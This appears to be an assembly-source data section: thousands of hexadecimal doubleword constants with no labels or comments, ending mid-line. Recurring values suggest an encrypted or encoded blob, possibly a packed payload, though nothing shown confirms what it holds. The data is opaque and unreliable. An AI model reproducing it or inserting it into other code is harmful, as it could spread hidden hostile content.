dd 14E44B32h, 0ED662232h, 152D745Ah, 314A0132h, 1566408Fh dd 48882332h, 1567993Dh, 9C9F8832h, 5695587h, 4E12D34h dd 0FC661132h, 1566883Eh, 8880102Eh, 9CBC366h, 22AB7C8h dd 0EAB5ABDBh, 1572ADCDh, 512D2232h, 8FA00D0Bh, 1115A65Fh dd 8CDC1D3Ch, 0F74338D5h, 0D5A71BCCh, 90657131h, 13765BE7h dd 156BA53Dh, 1D8F1132h, 0F9668832h, 0D3762AE2h, 96F2F884h dd 549548Fh, 91698934h, 156647A6h, 157CAF3Dh, 0A0061132h dd 15776186h, 53324432h, 2CA63E1h, 7A6EA9D5h, 4EC18733h dd 748BDBF4h, 32DC4452h, 74CFA4DDh, 0BFCCB6B3h, 9069EE98h dd 1566229Ch, 1576F952h, 6528832h, 8B2751B3h, 5BF4BEF6h dd 52E0BA44h, 9A69C9CDh, 15664432h, 0E4E77169h, 6AFA8D9Bh dd 0AA31E969h, 15664436h, 3F5DE4B3h, 0EB671E98h, 3F5D66B3h dd 1A394B98h, 156625BEh, 14EE1E32h, 0E9668832h, 94D81260h dd 0AF75056Ch, 0F9BEB04Dh, 9C387A33h, 753CB864h, 0CDEDF4B9h dd 249E2053h, 759EB9F5h, 0A1361653h, 4D80AA34h, 9564FFF2h dd 0FBA61EC4h, 288C43Ah, 1A3CD2BAh, 156610BCh, 408F7D32h dd 75664432h, 1563A23Dh, 0FBDD1132h, 1A1018DEh, 156646BBh dd 74074232h, 156E993Dh, 1A068832h, 0E2E68485h, 0ED57438Fh dd 0ED57D603h, 15610F3Dh, 96694432h, 15662233h, 152C79CEh dd 9EF8832h, 9D8EF716h, 198F79EAh, 93661132h, 9ED14DB9h dd 37B92236h, 0E07E0278h, 155DFF5Ah, 31620132h, 1AB7CF52h dd 156620BDh, 74A49A32h, 9F335B1h, 1A674222h, 1567A0B6h dd 12E91E32h, 1A668832h, 156645B1h, 0F9E5DE32h, 317A9836h dd 74560689h, 0C514FC04h, 0CD67EBACh, 0A8E5ED69h, 13712D64h dd 37E24B32h, 0E9662232h, 0F1238CBFh, 108F8E24h, 0A1664432h dd 4663FB43h, 0EC06C2CDh, 1560063Dh, 90694432h, 15662232h dd 85599153h, 15330C3Dh, 90694432h, 1566223Ah, 15649E3Dh dd 74068832h, 1563FE60h, 0C2672232h, 944205B9h, 15668CF6h dd 1569AD32h, 35BC2232h, 1BA5F63Ah, 0F3C3D46Ch, 0E3EABABEh dd 14E12DCDh, 0E9661132h, 15674FDBh, 1577AD32h, 0BC8E2232h dd 0C7D9651h, 7B4A0BC6h, 63DAB006h, 960EC9ABh, 976941CAh dd 156688F9h, 0D3E72252h, 48F88CAh, 94661132h, 0BDF2E5CAh dd 994C561Bh, 9517FF70h, 0C5A9DFAEh, 6E28753h, 0FC664432h dd 1566223Ch, 39AF8EB0h, 2D899A3Eh, 0DED6FFBCh, 0A7345716h dd 3D88A15Eh, 0D06AD2E2h, 0DD98E106h, 1B8FF31Eh, 0BD661132h dd 4E417EF6h, 0E2D5AC74h, 72EAE7CCh, 759ABB14h, 15668FDBh dd 0B2ECC632h, 0FEA5101Eh, 156617DBh, 0FD91C532h, 742BD1B8h dd 404226B9h, 0D0E7F4BBh, 15668836h, 926281B1h, 0ED3A061Eh dd 14E71E98h, 0EC668832h, 1566E8DBh, 11EE2D32h, 75661132h dd 75074BB9h, 15EC4B52h, 0FC662232h, 15661135h, 0B1B42D62h dd 7457387Fh, 156633DBh, 0F33CA032h, 71B4EDB9h, 4CB50D8h dd 1A3E43A9h, 0EA07F8C6h, 943EAC06h, 156640F6h, 1CE32D32h dd 75661132h, 9400D762h, 744CA7E4h, 10E12D98h, 75661132h dd 7439DACEh, 0FC993BB2h, 1521A73Dh, 73061132h, 0FFB56B3h dd 58FBD68Ah, 0A8E5430Ch, 1371B464h, 4E28732h, 0E0664432h dd 0F653BFBFh, 73061724h, 0AFCC60B3h, 0E9B5BB53h, 9DA5AA61h dd 9ED156Dh, 11A20916h, 1A664432h, 15662AB4h, 17E01E32h dd 75668832h, 84E3CF53h, 1A603213h, 156610BFh, 0AA317D32h dd 20044477h, 0E26EC5F3h, 0B29190EDh, 943BCD44h, 441DDDD5h dd 5B91A332h, 1429626Eh, 0ED4FD7CAh, 76738B1Fh, 1A34427Dh dd 156611B7h, 9E00D332h, 0AC3725CCh, 15662236h, 5A2B6F37h dd 38AEA115h, 3229094Ch, 156ACB6Bh, 56661132h, 17591F2h dd 6E27ACE6h, 0E0CD4716h, 156FF89Fh, 3C7B8832h, 0EE272C0Fh dd 441A23D8h, 3734918Bh, 0E7D9DF2Ah, 52326770h, 7A36D5B3h dd 0EC6F32FCh, 94BF7F6Dh, 0FA19E7F3h, 0E928AB4Dh, 9400716Bh dd 0FDB64AD5h, 15664423h, 0FD56A699h, 0FCE5CE3Fh, 812485AFh dd 17446365h, 7438DB0Eh, 0EA9D37DBh, 0F2E7E8CDh, 5559C24Fh dd 9C077865h, 5690087h, 15766134h, 0E6D4432h, 878B3D6Fh dd 3D41EC67h, 17301362h, 7306585Ah, 9FFB4C8Bh, 9C3570DAh dd 11A509D1h, 96664432h, 9E126D9h, 1EF4D16h, 7D07E816h dd 1566C432h, 74B1A952h, 188F1158h, 75668832h, 63EF45D3h dd 9ADBFE3Eh, 29BEAE82h, 26233DCDh, 0EA9A4222h, 54997A7h dd 0FBE77134h, 4B354AEFh, 0F2A6C554h, 1ED438Eh, 0F3EF4716h dd 15624EB3h, 0D3E74432h, 15662236h, 494225B5h, 15686152h dd 4A2B4432h, 80C387C7h, 944C486Ch, 0A98312FCh, 1565C93Dh dd 0FCE62232h, 98ED7073h, 1376A733h, 0A5DB11CBh, 9438931Ah dd 277763D7h, 0BFA30920h, 40568C0Ch, 484236C5h, 2BBDD4B3h dd 3CEFCACAh, 1575AD6Fh, 7B612232h, 0C30E7DAFh, 8DD1D482h dd 0E0E1691Eh, 1034B8EFh, 11D9462Ch, 94668832h, 0A93FE3F3h dd 949F234Ah, 0A93FB6DBh, 9C93D74Ah, 54945BFh, 0AD8FDB34h dd 0FC99EEF4h, 15668820h, 5AE74930h, 32438Dh, 6B67614h dd 8AFBFB4Fh, 128F4C48h, 78662232h, 0C4DE0754h, 9C8F5001h dd 0E066441Bh, 1574CB52h, 0ACBC1132h, 0F65C6939h, 0A6507ACEh dd 3DF7E4B7h, 8B784898h, 14EB03CEh, 0E060541Dh, 0EC3F13CDh dd 0B0349CBBh, 1A068E25h, 156646BBh, 74ACA932h, 412829B3h dd 9069C476h, 156644A4h, 6DE744CAh, 1A485D36h, 156601B7h dd 1A8E2432h, 94662232h, 94E395ACh, 21723BA5h, 7B0140D8h dd 1A39E50Fh, 156614B2h, 0DFE7EE32h, 0FC07D4F6h, 1566223Ah dd 9EB09471h, 73371C7h, 15488E5Ah, 3162AB32h, 274215B3h dd 4B48F93Eh, 1954AAB3h, 0A5060C43h, 0AA317021h, 15668834h dd 607DAAB3h, 0EB676FA0h, 607DD7B3h, 7539C5A0h, 156649DBh dd 60DBD032h, 2FFCA418h, 0CA8BD25Ch, 0EBEC7E91h, 6CE3A953h dd 1A60013Dh, 156689B7h, 7406BC32h, 1562FDDBh, 0F9E5E932h dd 31620136h, 894268B3h, 4B56166Dh, 4AFAD7B3h, 459EB806h dd 0D4268B3h, 4F6A9D32h, 157EAA61h, 0CF67848Dh, 90692469h dd 15662237h, 3AA19054h, 108FE8F9h, 0C7664432h, 0CFF4B283h dd 74077052h, 0D3D98752h, 0EB4B9AB3h, 24076F18h, 976971FBh dd 15668834h, 4646ABB3h, 0AB060F56h, 7FCF1092h, 0CAFF6FB3h dd 740708C8h, 156ACB9Eh, 2F171132h, 4B1F8721h, 25809567h dd 155A95A8h, 14C5953Dh, 29938832h, 0C8E24B1Fh, 0FC99DDCDh dd 15661139h, 286BD00h, 92A194C9h, 29FE58BDh, 17E21E1Ch dd 0EC668833h, 9769740Eh, 15662727h, 0FCFFA652h, 15668822h dd 0DF94EB89h, 727639Ch, 27681EC0h, 0ADDE7F2Fh, 1A5F7853h dd 0EA99B9B4h, 0E1EC71CDh, 36E3754h, 1A277853h, 1562C6B0h dd 1EE91E32h, 75668832h, 0BB3B8FB3h, 0A2694779h, 4F5A70E2h dd 0EA140E3Dh, 7506BBCDh, 3D82DC8Dh, 1575F80Dh, 3CF68832h dd 332AE3D8h, 0EBB445FAh, 83EF7048h, 0F7AD4ECDh, 0AE0025C6h dd 290792FCh, 50E21E6Dh dd 0FC9977CDh, 1566443Bh, 4A91387Bh, 75AE08Dh, 9E00E8CDh dd 2907B8E5h, 97E42D53h, 0FC661136h, 1566883Ch, 549EF132h dd 0ACB8059h, 8558DF0Fh, 6F5A898Bh, 0EA68C23Dh, 9869DDCDh dd 15661129h, 0FCA40352h, 15664420h, 0E730296Ah, 0DF36E0B9h dd 216FF9B6h, 0D6F4BFFBh, 0FC07B139h, 15661573h, 15669BDBh dd 3D02CC32h, 0F3A37A35h, 7A17A39Eh, 8795EEC2h, 4A8F6159h dd 1561AC3Dh, 91691132h, 15668833h, 0BED913C7h, 9463B96Bh dd 8E3FBBC5h, 4A9C8937h, 15664FDBh, 6BAC8032h, 6E6A525Eh dd 4CDDF3h, 9169B60Bh, 156621C7h, 1567983Dh, 469E8832h dd 0EA15EB89h, 0D1A5A327h, 9407223Ah, 525C9ED9h, 1D858511h dd 946EC1F3h, 0B799EEC1h, 4EBC898Fh, 0CDD14B52h, 9648FAB3h dd 45072E57h, 1566898Ah, 4DA74532h, 0D41B9852h, 9E0025E4h dd 448FE9E4h, 0E099BBCCh, 1561A03Dh, 9C691132h, 15668833h dd 1AAFC1CEh, 1565B6B6h, 0A0EBE932h, 13768F6Fh, 1561C63Dh dd 73062232h, 27A9C1B3h, 19EDDA53h, 11A2C516h, 0FC662232h dd 15661135h, 154DEE6Ah, 96544D75h, 21EF26DEh, 9CB09816h dd 469FD6C5h, 0A4377281h, 4CAD12EFh, 0CE90D2CCh, 9D7C4BB2h dd 68F1FEAh, 9B662232h, 5BBA36D3h, 69C33A6Ah, 87631A1Bh dd 0FB181E4Fh, 60C80A36h, 976970CFh, 15664433h, 0F6A7A3C7h dd 3C4EC36Ch, 0F6DBDDCBh, 3C4E966Ch, 1F8F7FDBh, 0B4661132h dd 2054DE79h, 0C59D53D2h, 15664AF5h, 194F1132h, 316A0316h dd 756280B1h, 2F89B54h, 0F3899053h, 3C6AB236h, 0F3DC16FDh dd 146A1836h, 9F694BE5h, 1566883Fh, 15664CDBh, 16BBD632h dd 21A03F04h, 2491B9DEh, 0FC9175CCh, 1566223Ah, 0A4F9AB9Dh dd 0BE565589h, 9269E0C1h, 15662220h, 15661CDBh, 26E49D32h dd 0E123EF1h, 7B05B846h, 0A23516D3h, 0D5B97EDAh, 0F2A647DDh dd 1591A23Ah, 9E996EBAh, 0D1E5AC2Eh, 989FBC36h, 5617FA7h dd 90EDE434h, 13768F47h, 73BBCE52h, 2619F1B3h, 1AA69453h dd 15661DB7h, 58E2432h, 0A5662232h, 0D560B999h, 0E9A7F8B0h dd 51E26B26h, 73802ED2h, 4DF55288h, 0F0E34E53h, 52605411h dd 156629DBh, 65FF3C32h, 70A0998Ch, 3B034B1Dh, 8FC1F05Ah dd 2EB1EE6h, 0FC668832h, 15664420h, 0C2663902h, 0D4905763h dd 435A9D38h, 0AB16DD1Fh, 0A099E423h, 13760C77h, 11EC8752h dd 73664432h, 738CD289h, 7754D0B3h, 9FE30553h, 1A6057B7h dd 156623BAh, 0C599E932h, 15756152h, 3EE94432h, 6709C1A9h dd 0ABFA81E9h, 2525B897h, 53BF6423h, 520E43FCh, 9C661160h dd 7406AC26h, 1A0694CDh, 0AA69D58Dh, 0D5E370C3h, 15B00D3Dh dd 92694432h, 15662233h, 0C8E39AC7h, 75609827h, 0BA91C554h dd 746391DBh, 9069D1B7h, 15668842h, 0F0E382CBh, 59603211h dd 15661EDBh, 0C6BA3232h, 99ACAC05h, 0CC28FDD0h, 48913986h dd 0CF7A615Ah, 1CE54BEBh, 75662232h, 750CAB54h, 74903F3Dh dd 823F1CDh, 93692422h, 15661133h, 9FE305C7h, 756057B7h dd 156625DAh, 6F8DD232h, 363E5DFEh, 529CABB3h, 1A3F0775h dd 156610B5h, 0EA077D32h, 156CADE2h, 0BC262232h, 18514F79h dd 0F46781D6h, 9487CD63h, 156626F3h, 118F9032h, 92668832h dd 9C3A603Eh, 0EA930626h, 1DE11EE2h, 1A668832h, 156646B2h dd 90074232h, 0CE31EF2h, 75668832h, 6A78FD54h, 1595CB53h dd 1C8F1132h, 0D9668832h, 0A946CAFDh, 0B9D58DD0h, 0B03494BBh dd 1D8F8E25h, 97664432h, 303CD4B3h, 467F1910h, 0D6E76BBBh dd 15664436h, 9262C9B1h, 9C3A352Eh, 198FAC36h, 65664432h dd 0A3F8C10Eh, 0C9E6A0D0h, 404207E3h, 0D0E7A1BBh, 15662236h dd 9262FCB1h, 9C3AAC1Eh, 138F6006h, 90662232h, 8F64991Eh dd 6CE30593h, 756057ACh, 156631DAh, 0C50B0D32h, 0EBC36C6Bh dd 0C157E559h, 6E529105h, 32E09A5Bh, 0B2C0318Bh, 90691B5Fh dd 15662230h, 0EA07E8B9h, 0AF06E8E2h, 56BD1D81h, 68F7553h dd 76661132h, 2CBAE0F0h, 7F34F5F6h, 0CF364311h, 3CFC2B5Ch dd 743F20EEh, 1AA64FCAh, 15660DB7h, 1572F832h, 3DA88832h dd 0AC2BFF73h, 19F70096h, 8A702673h, 0B757EF4Fh, 38F5159h dd 1A662232h, 15661AB9h, 0C4E6E832h, 15E34B91h, 74662232h dd 94255BBh, 0D69FE9CAh, 156654DBh, 0C32F7A32h, 0DFB63995h dd 1EFBCF36h, 2C9847D7h, 0E906DA34h, 0B0349CB9h, 1A938E25h dd 156648B6h, 1561CB32h, 0ACC81132h, 999189B5h, 7C522C0Bh dd 11EF2232h, 1577F816h, 0C9C68832h, 845687C3h, 66C2DAE0h dd 0C8719A8h, 4731FEF0h, 0C5EF8EBBh, 944236B9h, 156615F6h dd 15776132h, 1E44432h, 7D43AA77h, 573EAFEBh, 0F060BF03h dd 4733B322h, 4A999C64h, 0DBE709B3h, 751BB93Bh, 335482B3h dd 0FBE76543h, 6BD13549h, 941C66B3h, 0E7EF0585h, 16A4236Ch dd 93694B30h, 1566883Bh, 0E2E72252h, 74068254h, 9DDF4053h dd 14668832h, 4F57BBF3h, 9E00426Bh, 3CBC90FCh, 74211A35h dd 1963D1BBh, 969F2422h, 9EF15DEh, 159E3316h, 0CD674432h dd 0AC37DE69h, 1566113Eh, 24994933h, 97691D68h, 1566223Bh dd 73969A52h, 6C0349B3h, 12E94B53h, 75662232h, 9E007052h dd 80EFE9E2h, 1376573Bh, 3152DDCEh, 11A2906Ah, 0FC668832h dd 1566443Ch, 10BD6FAFh, 9DE12B3Fh, 9CA65B25h, 619972F5h dd 11ED0616h, 11A29016h, 75668832h, 380786B8h, 178E3394h dd 4A1C731Fh, 10AEA15Dh, 7A393E50h, 0FD778437h, 0CAED7130h dd 2E0756B8h, 5754DB7h, 51E42D34h, 0E9661132h, 19630D09h dd 96694222h, 15662205h, 15661DDBh, 0E9ADE032h, 0ED2EBEF4h dd 0B7B69228h, 0A00670E6h, 0C7E7EEB5h, 0D707BD24h, 18F2236h dd 0E5661132h, 0D2D6EF74h, 96D89615h, 53F2510Ch, 3E6D8A21h dd 74A83145h, 156ECF3Dh, 95692232h, 15661130h, 4431E952h dd 0D172795Ah, 0FCE77B30h, 73EE21DCh, 0E4E761E3h, 5B7BB595h dd 9C3FEDBBh, 4A62354Eh, 15669CDBh, 873B132h, 2A9B3F82h dd 0D3B9FB03h, 6C55A819h, 682C55C8h, 3122E596h, 584E1736h dd 31227724h, 3112C536h, 24ADE36h, 310A903Fh, 6E164336h dd 310AC52Ch, 0C817C736h, 3132E660h, 31327F36h, 3112C536h dd 14446936h, 0CEB1E98h, 0FC668832h, 15664426h, 3AC6D7F2h dd 0CD3DC022h, 5FA46DDAh, 4D4CE2F2h, 6466873Ch, 172B978Ah dd 59DDDB69h, 24099748h, 0D04B79EAh, 1A52C005h, 15668EB2h dd 0ACD72432h, 9807ECB9h, 52894BFh, 15616134h, 0FDA34432h dd 0EC36F47Ah, 0E087EE68h, 0AE357052h, 15664432h, 0AF34D133h dd 15661132h, 17EC5233h, 29931F68h, 7BE22DDBh, 0FC661133h dd 15668822h, 3C0FBD23h, 751371B3h, 0FD7146B6h, 1911198h dd 9169AC0Eh, 156623A8h, 78B09152h, 1A69B453h, 156637B6h dd 156ACB32h, 74281132h, 0F8DD2927h, 4E5ACC44h, 0D85ADCB7h dd 14B6953Dh, 0EC068832h, 156641DBh, 33AE332h, 29077314h dd 0E7E287D9h, 75664433h, 0ACBFA354h, 0EAD11EB2h, 188FE953h dd 85664432h, 0AB9E7E51h, 0E508615Bh, 0FAF0315Dh, 0DFE724F1h dd 418B3E75h, 156617DAh, 2A026532h, 1A11876Ch, 743FEC85h dd 156C993Dh, 108F8832h, 8A664432h, 0EBD3F4E5h, 14D94660h dd 9C668832h, 0E7671BC8h, 0EC3C38B8h, 83D641CEh, 0EB053B61h dd 0EBB5B2F1h, 6495A2F9h, 213DC93Ah, 21E38C31h, 35217004h dd 58F7AF1h, 74661132h dd 0A8EEC5CAh, 0A16B43B1h, 2EC58C4Eh, 95923034h, 906908C9h dd 0EA99BB4Bh, 1561A63Dh, 1A061132h, 4A344385h, 9ED1253h dd 11A2A116h, 156605DBh, 4A4FA732h, 16523F83h, 4C76C50Dh dd 1935D396h, 0F2D095D9h, 13DF1563h, 14662232h, 316A9AF9h dd 15624CB3h, 0FC064432h, 15662226h, 4990BAF4h, 8C5F33EFh dd 2E60A1D6h, 0EB112869h, 93A7CB77h, 92C56B3h, 7D0723FEh dd 15661944h, 0AC421DBBh, 15668830h, 0C65B533h, 0B88FDA6Bh dd 0FC661132h, 1566883Bh, 85685901h, 330EFEDBh, 1410EEAEh dd 944294B9h, 156640F6h, 1A064232h, 749ADE85h, 0EE9D0B53h dd 15B9C03Dh, 99692232h, 15661120h, 156685DBh, 0D565A332h dd 14784EBh, 0F52120C0h, 1A8F121Bh, 93664432h, 73832612h dd 7D109C2Ch, 2EED4402h, 9E303BDCh, 0D1E5062Eh, 14EC1E36h dd 0E0668832h, 1567FD63h, 0FCE72232h, 676C5553h, 0D4E77933h dd 676C0053h, 753F3B31h, 9D69ED52h, 15668832h, 1E8F1753h dd 0C5662232h, 2207714Ah, 9C6A5184h, 743E1799h, 15639A62h dd 0D6671132h, 96428CB9h, 0A50640F6h, 7489A843h, 0EA9841DBh dd 0A3697DCDh, 9506456Ch, 0FD069CDEh, 1566113Ah, 0AAC1FB2Dh dd 0C6D6777Bh, 743C746Bh, 3B8D9253h, 0EB4D0C3Dh, 0FC9FBBCDh dd 1566221Fh, 1561933Dh, 75068832h, 1292C453h, 1418A253h dd 1BE31ECCh, 0FC9977CCh, 15664423h, 36D576A5h, 562FBECAh dd 6E9FEBE9h, 1C3FCB8Eh, 0E9C3CB5Eh, 9269EECDh, 15668825h dd 156656DBh, 41106332h, 0BDD248B2h, 0A64DFFBh, 0E8BFFD4Ah dd 7D26E5B1h, 15664E57h, 0FC42BCBBh, 1566443Fh, 9A656677h dd 0FF844814h, 0DDA9BE90h, 7E332CF4h, 19EF2232h, 4E71E16h dd 0FC668832h, 1566443Eh, 66CBEC98h, 3C1383FFh, 8965EB37h dd 0EFAFA52h, 68F24E7h, 0F8661132h, 1B03A729h, 0C33AC51Ah dd 9CC4CDEEh, 57DA9163h, 7D07B79Fh, 156600CFh, 75423EBBh dd 156614DBh, 88E6F032h, 0AE00A3ECh, 7D07DBD3h, 156659F5h dd 7542B4BBh, 156641DAh, 7B701632h, 4C9FEFCCh, 0B1B00954h dd 0D55725B9h, 479F8EC7h, 0C6EED3BAh, 96429CB9h, 946940F6h dd 15662224h, 156600DBh, 71718B32h, 246EB2Bh, 0C3A6B809h dd 650A14AAh, 4700F7B9h, 0C646B480h, 3172A954h, 1564D5B3h dd 95938832h, 916934C9h, 156627A4h, 15661BDBh, 30DC5532h dd 5ACE4EF0h, 293AF4EEh, 0EFE21E3Dh, 0E9668832h, 1567C93Dh dd 29932232h, 0C3E21EDBh, 1A668838h, 156657B9h, 1568CB32h dd 1941132h, 95B844C7h, 0B4371CB1h, 10E23CADh, 9169FA0Eh dd 156686AAh, 1573CF3Dh, 58F2232h, 19661132h, 0D6E7B121h dd 34347AB2h, 0A3F18C3Ah, 0ED93C1CBh, 91696B0Eh, 15664774h dd 9ACA9C52h, 0ED076794h, 91696A0Eh, 15664B4Ah, 156CA23Dh dd 1A061132h, 156688B5h, 7495CE32h, 4A4216CDh, 1562D5B3h dd 58F8832h, 0BE664432h, 4C730B17h, 0A6D71645h, 1087B4BCh dd 9E78D0D9h, 9C33062Eh, 11A390D7h, 96668832h, 39E140F7h dd 9F697E16h, 15661133h, 156F61CBh, 285E4432h, 967DA313h dd 9E19EEF7h, 9C33AC3Eh, 11A3C5D7h, 94662232h, 156615F7h dd 314A0F32h, 21EDBC6Eh, 0F6EF7116h, 1562D2B3h, 0D6E58832h dd 317AC336h, 19EA2D6Eh, 1A661132h, 15668EB8h, 15EF4B32h dd 0D6662232h, 37E3D6CEh, 13609F94h, 0ED664432h, 1508D55Ah dd 31729832h, 15668888h, 9F944532h, 47937828h, 0A71DA162h dd 4DA4A06Eh, 0D56EA6F2h, 0DFE62AD0h, 0E3A4EF76h, 5E9408E8h dd 753C9712h, 15E12D60h, 4E661132h, 749C0354h, 1AE6BFB2h dd 0EA9909B7h, 1DEB1ECDh, 75668832h, 0AD002552h, 4607D906h dd 0EA99EE89h, 4EB889CDh, 0F0E3CFCBh, 1A60321Fh, 156610BAh dd 80ED7132h, 13766C6Fh, 156632DBh, 7A858A32h, 89F65340h dd 5656E18Ch, 0CC463302h, 11E74774h, 0E57AA916h, 0A8331F20h dd 70DF05F9h, 9464F4F3h, 1E585C7h, 488D6DB6h, 1577AE3Dh dd 198F1132h, 0DC668832h, 7E846446h, 52494FE7h, 7D26AD2Ch dd 1566B2DFh, 0A84268BBh, 15662234h, 0FC3BFA33h, 1566883Dh dd 43366965h, 0DB824EEBh, 0A31A4DB5h, 1AF30872h, 156656BAh dd 156BCB32h, 27181132h, 7AFAE79Fh, 33650987h, 451E14C7h dd 1566138Ah, 44968932h, 1566448Bh, 16A72332h, 0E03E482Bh dd 97695009h, 15664424h, 15662ADBh, 0D5089132h, 0F898C768h dd 1ABC7F09h, 0EA9869B4h, 0D6E7E4CDh, 7D04C77Dh, 0AC37BF1Bh dd 0B035ACBh, 948FC07Bh, 0EB4494FBh, 12878575h, 6429D3B3h dd 0DE4F860Fh, 9A69706Bh, 15664433h, 0AC3772C7h, 15661134h dd 3C3F40BBh, 1A9F1CF1h, 156632BBh, 1FE01E32h, 0FC668832h dd 15664437h, 16FA4162h, 0FCCB7755h, 15668839h, 0CA3CB461h dd 2135A844h, 7356D3E9h, 1FE18799h, 75664432h, 73A7A954h dd 3C57F6B3h, 4D35D853h, 964258B9h, 1B8F26F6h, 0A7661132h dd 1B13316Eh, 0CFF3DD8Ah, 0A5F59D03h, 9269BAC1h, 15668825h dd 156656DBh, 7DBF2832h, 557BB42Fh, 7A6B7093h, 13EC9F4Eh dd 40B602A0h, 1566158Fh, 9E888932h, 0D1E5601Eh, 23D64236h dd 0F5E77752h, 0E1D90982h, 74190026h, 315AAB53h, 15661EDBh dd 11169732h, 4275C607h, 0BBCD3CEEh, 5E617062h, 1942FCBBh dd 14EE4BC7h, 0E9662232h, 1FF7A4BBh, 0FC9A8E22h, 1566443Ch dd 619A83AEh, 2F155587h, 718D7D1Fh, 21990C5Fh, 0D1E77D16h dd 15661136h, 0EFEDEE52h, 317ACF53h, 9483AB67h, 156615F7h dd 11A30B32h, 494268B5h, 316AA9CAh, 94839867h, 15668CF7h dd 11A3C732h, 49420EB5h, 31529ACAh, 94810165h, 156640F5h dd 11A1A132h, 49422DB5h, 4B32DECEh, 156282B3h, 0D3E52232h dd 31529636h, 14E9876Eh, 0E9664432h, 0EA86F9DBh, 90A1E9CDh dd 13712E10h, 15664430h, 0EBED4452h, 15649B3Dh, 0DBD18832h dd 0A10EBC53h, 9C662244h, 0FC3D3506h, 15668820h, 0F5BE279Eh dd 0F38EA162h, 0ECE1B09Bh, 0B81C3A65h, 0A3696555h, 19E62D3Ch dd 1A661132h, 15668EBEh, 15EC4B32h, 95662232h, 966991CBh dd 1566885Fh, 156657DBh, 6B5E1D32h, 0F2B6CA80h, 2E4D67A9h dd 0AB81797Ch, 56E22E6Ch, 41E1AF64h, 0E64FF5FEh, 94AD456Ch dd 0D932A5F1h, 0DEED714Fh, 0ADDCDA53h, 0E26A8F45h, 5FB4D5E0h dd 52949070h, 3C95BCBAh, 1E8F1EE1h, 0C5662232h, 3F2957BAh dd 0C49D715h, 0BF8F5F22h, 75662232h, 5D0DD2B3h, 7507BBAAh dd 1565C53Dh, 9E002232h, 0F5B391CCh, 0A235D853h, 95A9BA6Bh dd 0CA90C7C5h, 0E3D1DEB2h, 1F8908EDh, 3D3DBCBAh, 9F067AF3h dd 13E61EECh, 1A668832h, 156644B5h, 150E4332h, 3C661132h dd 19EDAC3Eh, 11A2C716h, 1576A93Dh, 1E8F1132h, 3A668832h dd 7B59F074h, 51A94037h, 439F0D7Fh, 910AA98Ch, 0B380C55Dh dd 9454356Ch, 112ACEC4h, 9E97A910h, 0D1E76006h, 15662236h dd 21DE41CBh, 1472E649h, 0DE4F1CF1h, 6E52C9B3h, 78F055Ch dd 0CF668832h, 0E5381E0Bh, 37A992CDh, 348A8328h, 0F779A410h dd 0F0E3CFF2h, 0EC60321Fh, 3D3B84B9h, 92698E22h, 15664439h dd 156624DBh, 3394932h, 96A6DD05h, 54C598Fh, 91692334h dd 156615B5h, 1562053Dh, 75064432h, 73064353h, 1A02AD88h dd 156682B7h, 1563AD32h, 70412232h, 74D6B7C4h, 97694B0Bh dd 1566406Dh, 1AB51BCEh, 0EA9D36B0h, 14EE87CDh, 0ED664432h dd 1578A73Dh, 0AD061132h dd 7EF1D4FDh, 156656DBh, 0DE0BDB32h, 0B48A03F1h, 0AC74D6DEh dd 0CB4CF021h, 748C94A4h, 156237DBh, 90A17D32h, 1371E210h dd 15662230h, 15679E3Dh, 0E99A8832h, 9C62A8B1h, 39E70606h dd 0D0618016h, 0D6E7D318h, 3FA343A3h, 1570A03Dh, 9B691132h dd 15668822h, 15664FDBh, 3EE7F332h, 2253477h, 0B0E37896h dd 0E968F23Dh, 1AE6DBB2h, 15668BB1h, 2E78732h, 0FC664432h dd 15662220h, 0A470D078h, 6CEC6DEh, 6C4CD87h, 983B3345h dd 1A061B81h, 15668ABDh, 733E1432h, 0A5B3D3B3h, 3BA59053h dd 1454DC35h, 99DF15F9h, 944CA662h, 0FA6137D3h, 3F970916h dd 3C749435h, 9F697BF9h, 15661127h, 1569053Dh, 1F8F4432h dd 0DE662232h, 86BA6B69h, 71CF0B2Dh, 1E84B49h, 75662232h dd 156616DBh, 21646232h, 0F0D6F1FAh, 1566A43Dh, 42071132h dd 0EA99778Dh, 4A9D6DCDh, 15C2CBCEh, 1D8F1132h, 0AB668832h dd 3921A900h, 46A9A7E0h, 9D66A463h, 0F6B6D1D9h, 3D67AFB2h dd 198F79EBh, 5B661132h, 63E53E23h, 0A51C3364h, 44FA2D42h dd 0E23B4867h, 1A8F0FEFh, 15664CB1h, 17E12D32h, 75661132h dd 68FE853h, 0EB664432h, 677772Ch, 0F0E0789Eh, 3D9C2EA2h dd 74C32DFFh, 4CDE4CF0h, 747D7EE2h, 15993765h, 0EC474432h dd 94421EB9h, 156615F6h, 15686132h, 5B514432h, 9F6010F3h dd 163D8371h, 0F86CC1E6h, 3937FA64h, 0E64F592Bh, 94AD386Ch dd 0C4AD9F1h, 12ED4B49h, 1A662232h, 156610BFh, 90ED7132h dd 137669D7h, 1573A63Dh, 58F1132h, 45668832h, 192D83B6h dd 0F45B5A51h, 66257006h, 9ECFEB39h, 54E19A7h, 1572CB34h dd 0F4D01132h, 4C20224Dh, 0C34972F0h, 0B7E99D0Fh, 7CF27D5Bh dd 0A8E5CFCCh, 13766E2Fh, 4DE22D33h, 0EC661130h, 97695009h dd 15664411h, 156DCA52h, 39D61132h, 0BACA31B7h, 0A1B58F6Fh dd 4CCC9658h, 0BDB99054h, 0C65FE97Ah, 0ED98C23Dh, 409EDDCDh dd 0EA99EE8Fh, 488889CDh, 0B075FE52h, 0A2690C21h, 473570FBh dd 0E2EE3984h, 0B789C468h, 0FC3DDABAh, 1566113Dh, 6CBF754Dh dd 1E597302h, 92F79D0Dh, 0BFA9CE5Bh, 0F9E5E952h, 317ACD36h dd 15662289h, 9F951032h, 1A06D339h, 0AB06848Dh, 6D5C2B9h dd 0C750BB88h, 4707E914h, 0FBE6CE84h, 95B8D498h, 84D6E0F4h dd 1A3C7802h, 15664FB1h, 1560CB32h, 0C461132h, 0F9BF5E81h dd 1AD41654h, 9E00F312h, 0D1E73526h, 15668830h, 156657DBh dd 93CD5432h, 3527EE75h, 6D527A5Bh, 9114C6h, 0BDDA64D5h dd 18FD93Ah, 9C668832h, 0C4150A6h, 0E5C18CAAh, 947D9E9Ch dd 0AA589F7Fh, 0BFE3CFF4h, 157CA03Dh, 0FC061132h, 15668835h dd 6480C4E9h, 0FC13D649h, 15661135h, 8B4816F9h, 744CA229h dd 6CB09B63h, 0DE6764DAh, 949DA16Bh, 0FD1F92D9h, 0AC37DA47h dd 15661136h, 7AE063B3h, 0DE4F4240h, 7AE0E1B3h, 0FC3F1740h dd 15668838h, 0DF3998D4h, 0F2A8A65Bh, 